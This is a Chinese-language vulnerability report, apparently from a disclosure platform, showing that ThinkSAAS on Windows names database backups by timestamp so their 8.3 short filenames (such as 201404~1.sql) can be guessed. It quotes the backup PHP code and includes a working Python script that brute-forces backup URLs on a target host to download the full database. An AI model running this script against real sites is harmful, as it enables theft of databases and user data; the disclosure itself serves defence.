### 简要描述:
ThinkSAAS某处设计缺陷可被直接拖库
### 详细说明:
首先我们来科普一下windows的短文件名,也就是下面我们要用到的。
```
背景知识:
```
Windows 支持的长文件名最多为 255 个字符。Windows 还以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows 的程序访问这些文件。
Windows 按以下方式从长文件名生成短文件名:
Windows 删除文件名中的任何无效字符和空格。无效字符包括:
. ” / \ [ ] : ; = ,
由于短文件名只能包含一个英文句点 (.),因此,Windows 将删除文件名中的其他英文句点,即使文件名中最后一个英文句点后面是有效的非空格字符,也是如此。例如,Windows 从长文件名
This is a really long filename.123.456.789.txt
生成短文件名
Thisis~1.txt
否则,Windows 将忽略最后一个英文句点,而使用倒数第二个英文句点。例如,Windows 从长文件名
This is a really long filename.123.456.789.
生成短文件名
Thisis~1.789
生成短文件名如果需要的话,Windows 将文件名截断为 6 个字符,并在后边附加一个波形符 (~) 和一个数字。例如,创建的每个以”~1″结尾的唯一文件名。复制文件名以”~2″、”~3″等结尾。
生成短文件名Windows 将文件扩展名截断为 3 个字符或更短。
生成短文件名Windows 将文件名及扩展名中的所有字符转为大写。
```
Apache下:
```
acunetix研究指出当Apache运行在windows下,如果创建了一个长文件,那么无需猜解长文件,直接用短文件就可以下载了。例如一个backup-082119f75623eb7abd7bf357698ff66c.sql的长文件,其短文件是BACKUP~1.SQL,攻击者只需要提交BACKUP~1.SQL就可以直接访问该文件
```
问题:
```
当我们在备份文件时,总想用一个够长的,够随即的,难猜解的文件名来命名我们的文件,很多都是各种md5值,或者各种日期+随机数这些,但是文件名会很长,这是当服务器为windows时,精心构造的长文件名就失效了,因为遇到了短文件名。
```
利用:
```
所以在上述情况下,当服务器有备份文件时,且文件名较长时(好像是大于9位),就会生成短文件名,这时,即使还不知道前面6字符的值,但是给我们猜解,爆破带来了很大方便。如果是日期+随机数这种的,就更简单了。
```
下面说说一个具体的实例:
```
来看看thinksaas的数据库备份操作:
```
} else { // 备份全部表
if ($tables = mysql_query ( "show table status from " . $this->database )) {
$this->msg .= "读取数据库结构成功!<br />";
} else {
exit ( "读取数据库结构失败!<br />" );
}
// 插入dump信息
$sql .= $this->_retrieve ();
// 文件名前面部分
$filename = date ( 'YmdHis' ) . "_all";
// 查出所有表
$tables = mysql_query ( 'SHOW TABLES' );
// 第几分卷
$p = 1;
// 循环所有表
while ( $table = mysql_fetch_array ( $tables ) ) {
// 获取表名
$tablename = $table [0];
// 获取表结构
$sql .= $this->_insert_table_structure ( $tablename );
$data = mysql_query ( "select * from " . $tablename );
$num_fields = mysql_num_fields ( $data );
// 循环每条记录
while ( $record = mysql_fetch_array ( $data ) ) {
// 单条记录
$sql .= $this->_insert_record ( $tablename, $num_fields, $record );
// 如果大于分卷大小,则写入文件
if (strlen ( $sql ) >= $size * 1000) {
$file = $filename . "_v" . $p . ".sql";
// 写入文件
if ($this->_write_file ( $sql, $file, $dir )) {
$this->msg .= "-卷-" . $p . "-数据备份完成,生成备份文件<span style='color:#f00;'>$dir$file</span><br />";
} else {
$this->msg .= "备份卷-" . $p . "-失败<br />";
return false;
}
// 下一个分卷
$p ++;
// 重置$sql变量为空,重新计算该变量大小
$sql = "";
}
}
}
// sql大小不够分卷大小
if ($sql != "") {
$filename .= "_v" . $p . ".sql";
if ($this->_write_file ( $sql, $filename, $dir )) {
$this->msg .= "-卷-" . $p . "-数据备份完成,生成备份文件 <span style='color:#f00;'>$dir$filename<br />";
} else {
$this->msg .= "备份卷-" . $p . "-失败<br />";
return false;
}
}
```
对备份的文件名如下进行命名:
```
$filename = date ( 'YmdHis' ) . "_all";
$p = 1;
$file = $filename . "_v" . $p . ".sql";
```
日期+_all+_v1.sql
这个文件名已经超出了9字符,肯定可以生产短文件名的。
生成类似于这样的名称:
20140410174942_all_v1.sql
利用windows的短文件名规则,
201404~1.sql
这样就可以访问数据库备份文件了,当然,就算不利用短文件名,也是可以遍历的,只是需要遍历的范围加大了而已。
首先我们来看看后台生产的备份文件:
[<img src="https://images.seebug.org/upload/201404/11094300294e204c0f0a800be5a4fd9d77e597be.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/11094300294e204c0f0a800be5a4fd9d77e597be.png)
我们现在是不知道这些文件名的,所以无法访问此备份文件的
[<img src="https://images.seebug.org/upload/201404/11094339d673ae4f534344340edbde4bcd3a58fa.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/11094339d673ae4f534344340edbde4bcd3a58fa.png)
那么既然有短文件名,而且是时间命名开头,这样我们可以很随意就能猜解出来文件名,下面我们用一个脚本进行猜解:
```
# -*- coding: UTF-8 -*-
import urllib
from urlparse import urljoin
def run(host):
print "Starting......"
years =["2012","2013","2014"]
months = ["01","02","03","04","05","06","07","08","09","10","11","12"]
for y in range(len(years)):
for i in range(len(months)):
mdhis = months[i]
year = years[y]
url = urljoin(host, "/data/baksql/"+year+mdhis+"~1.sql")
print url
res = urllib.urlopen( url )
if res.getcode() == 200 and len(res.read()) > 0:
print "Success, The Bak Url Is : >>> " + url
break
print "Nothing..."
if __name__ == "__main__":
import sys
host = sys.argv[1]
run(host)
```
成功猜解出数据库备份文件名:
[<img src="https://images.seebug.org/upload/201404/1110155974af19b4ab713686ec7d17e6d3c5c5a5.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/1110155974af19b4ab713686ec7d17e6d3c5c5a5.png)
### 漏洞证明:
见详细说明
暂无评论